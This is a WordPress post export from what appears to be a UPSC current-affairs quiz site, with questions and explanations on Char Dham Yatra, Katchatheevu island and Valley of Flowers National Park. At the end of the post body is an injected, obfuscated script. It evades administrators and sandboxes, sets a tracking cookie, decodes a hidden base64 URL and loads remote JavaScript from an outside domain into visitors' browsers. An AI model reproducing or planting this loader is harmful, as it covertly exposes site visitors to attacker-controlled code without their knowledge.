wp-elements-91 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/all-of-india-breathes-bad-air-aqli-2025-report-says\/article69994433.ece#:~:text=According%20to%20the%20Air%20Quality,limit%20of%205%20%CE%BCg%2Fm%C2%B3\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/all-of-india-breathes-bad-air-aqli-2025-report-says\/article69994433.ece#:~:text=According%20to%20the%20Air%20Quality,limit%20of%205%20%CE%BCg%2Fm%C2%B3<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><a><\/a><strong>8. With reference to Char Dham Yatra, consider the following statements:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-93\">\n<li>It refers to Yamunotri, Gangotri, Kedarnath, and Badrinath shrines in Uttarakhand.<\/li>\n\n\n\n<li>The pilgrimage was popularized by Ramanujacharya.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>In NEWS: <\/strong>Char Dham Yatra reels from climate shocks as 55 \u201czero-pilgrim days\u201d recorded<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>Char Dham Yatra:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-103\">\n<li>Char Dham refers to the four sacred pilgrimage sites in <strong>Uttarakhand\u2019s Garhwal Himalayas<\/strong>: <strong>Yamunotri, Gangotri, Kedarnath, and Badrinath<\/strong>. <strong>Hence Statement 1 is correct<\/strong><\/li>\n\n\n\n<li>The Yatra was popularized by <strong>Adi Shankaracharya<\/strong> in the 8th century CE. <strong>Hence Statement 2 is incorrect<\/strong><\/li>\n\n\n\n<li>The pilgrimage is undertaken in a <strong>clockwise direction<\/strong>: <em>Yamunotri \u2192 Gangotri \u2192 Kedarnath \u2192 Badrinath<\/em>.<\/li>\n\n\n\n<li><strong>Yamunotri<\/strong> is dedicated to <strong>Goddess Yamuna<\/strong>, origin of the Yamuna River.<\/li>\n\n\n\n<li><strong>Gangotri<\/strong> is dedicated to <strong>Goddess Ganga<\/strong>, origin of the Ganga River (Bhagirathi).<\/li>\n\n\n\n<li><strong>Kedarnath<\/strong> is dedicated to <strong>Lord Shiva<\/strong> and is one of the <strong>12 Jyotirlingas<\/strong>.<\/li>\n\n\n\n<li><strong>Badrinath<\/strong> is dedicated to <strong>Lord Vishnu (Badrinarayan)<\/strong>.<\/li>\n\n\n\n<li>The Yatra generally remains open from <strong>April\/May to October\/November<\/strong>, and is closed in winter due to heavy snowfall.<\/li>\n\n\n\n<li>Managed by the <strong>Uttarakhand Char Dham Devasthanam Management Board<\/strong> (though governance has seen reforms and debates).<\/li>\n\n\n\n<li>The <strong>Char Dham Highway Project<\/strong> aims to improve all-weather connectivity to these shrines.<\/li>\n\n\n\n<li>The pilgrimage is significant for <strong>religious tourism<\/strong>, but raises concerns over <strong>environmental degradation, landslides, and over-tourism<\/strong>.<\/li>\n\n\n\n<li><strong>Distinction<\/strong>:<\/li>\n\n\n\n<li><em>Chota Char Dham<\/em> \u2192 Yamunotri, Gangotri, Kedarnath, Badrinath (Uttarakhand).<\/li>\n\n\n\n<li><em>Bada Char Dham<\/em> \u2192 Badrinath, Dwarka, Jagannath Puri, Rameswaram (pan-India).<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <strong>\u00a0<\/strong> <br><br><strong>Q. Consider the following pairs:<\/strong> <br><br><strong>\u00a0<\/strong> <strong>\u00a0Traditions\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0   &#8211; Communities<\/strong> <br>1. Chaliha Sahib Festival\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0&#8211; Sindhis<br>2. Nanda Raj Jaat Yatra\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0&#8211; Gonds<br>3. Wari-Warkari\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0&#8211; Santhals \u00a0 <br><br><strong>Which of the pairs given above is\/are correctly matched?<\/strong> <strong>\u00a0<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 and 3 only <br>(c) 1 and 3 only <br>(d) None of the above<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.downtoearth.org.in\/natural-disasters\/char-dham-yatra-reels-from-climate-shocks-as-55-zero-pilgrim-days-recorded\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/natural-disasters\/char-dham-yatra-reels-from-climate-shocks-as-55-zero-pilgrim-days-recorded<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><a><\/a><strong>9. The island of Katchatheevu is located in:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\">(a) Gulf of Mannar<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">(b) Palk Strait<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\">(c) Andaman Sea<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">(d) Laccadive Sea<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>Answer: (b) Palk Strait<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>In NEWS: Dissanayake visits Katchatheevu, pledges to safeguard Sri Lankan territory<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Katchatheevu island:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-114\">\n<li>Katchatheevu is a <strong>small uninhabited island (\u2248285 acres)<\/strong> in the <strong>Palk Strait<\/strong>, located between Rameswaram (India) and Jaffna (Sri Lanka). <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>Historically, it was controlled by the <strong>Jaffna kingdom<\/strong>, later came under the British, and became disputed after Independence.<\/li>\n\n\n\n<li>Under the <strong>Indo\u2013Sri Lanka Maritime Boundary Agreement (1974)<\/strong>, India ceded Katchatheevu to Sri Lanka.<\/li>\n\n\n\n<li>The <strong>1976 agreement<\/strong> further prohibited <strong>fishermen of both countries<\/strong> from fishing in each other\u2019s waters.<\/li>\n\n\n\n<li>India did <strong>not pass a Constitutional Amendment<\/strong> while ceding the island, which remains a subject of constitutional and political debate.<\/li>\n\n\n\n<li>The <strong>Supreme Court has held (Berubari case, 1960)<\/strong> that ceding territory requires a constitutional amendment; hence, Katchatheevu\u2019s transfer is often questioned.<\/li>\n\n\n\n<li>The island has <strong>no permanent population<\/strong>, but is of <strong>strategic importance<\/strong> in the Palk Strait.<\/li>\n\n\n\n<li>The <strong>St. Anthony\u2019s Church<\/strong> located on the island is a site of an annual festival attended by fishermen from both India and Sri Lanka.<\/li>\n\n\n\n<li>Tamil Nadu fishermen frequently cross into Sri Lankan waters around Katchatheevu, leading to <strong>detentions\/arrests by the Sri Lankan Navy<\/strong>.<\/li>\n\n\n\n<li>Katchatheevu is a <strong>recurring issue in India\u2013Sri Lanka relations<\/strong>, especially raised by political parties in Tamil Nadu.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"602\" height=\"389\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-1.jpg\" alt=\"\" class=\"wp-image-2276\" style=\"width:837px;height:auto\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-1.jpg 602w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-1-300x194.jpg 300w\" sizes=\"auto, (max-width: 602px) 100vw, 602px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <strong>\u00a0<\/strong> <br><br><strong>Q. Recently, our scientists have discovered a new and distinct species of banana plant which attains a height of about 11 metres and has orange-coloured fruit pulp. In which part of India has it been discovered?<\/strong> <strong>\u00a0<\/strong> <br><br>(<strong>a) Andaman Islands<\/strong> <br>(b) Anaimalai Forests <br>(c) Maikala Hills <br>(d) Tropical rain forests of northeast<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/dissanayake-visits-katchatheevu-pledges-to-safeguard-sri-lankan-territory\/article70000992.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/dissanayake-visits-katchatheevu-pledges-to-safeguard-sri-lankan-territory\/article70000992.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><a><\/a><strong>10. Which one of the following National Parks lies completely in the temperate alpine zone?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(a) Manas National Park<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(b) Namdapha National Park<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(c) Neora Valley National Park<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(d) Valley of Flowers National Park<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Answer: (d) Valley of Flowers National Park<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>EXPLANATION:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-123\">\n<li><strong>Manas National Park (Assam)<\/strong> \u2192 Tropical and subtropical forests, not alpine.<\/li>\n\n\n\n<li><strong>Namdapha National Park (Arunachal Pradesh)<\/strong> \u2192 Ranges from tropical rainforest to alpine meadows, but not completely alpine.<\/li>\n\n\n\n<li><strong>Neora Valley National Park (West Bengal)<\/strong> \u2192 Has subtropical to temperate forests, not fully alpine.<\/li>\n\n\n\n<li><strong>Valley of Flowers National Park (Uttarakhand)<\/strong> \u2192 Lies entirely in the <strong>temperate alpine zone<\/strong> of the western Himalayas, famous for alpine meadows and endemic flora.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>With reference to Salwa Judum, consider the following statements: Which of the statements given above is\/are correct? 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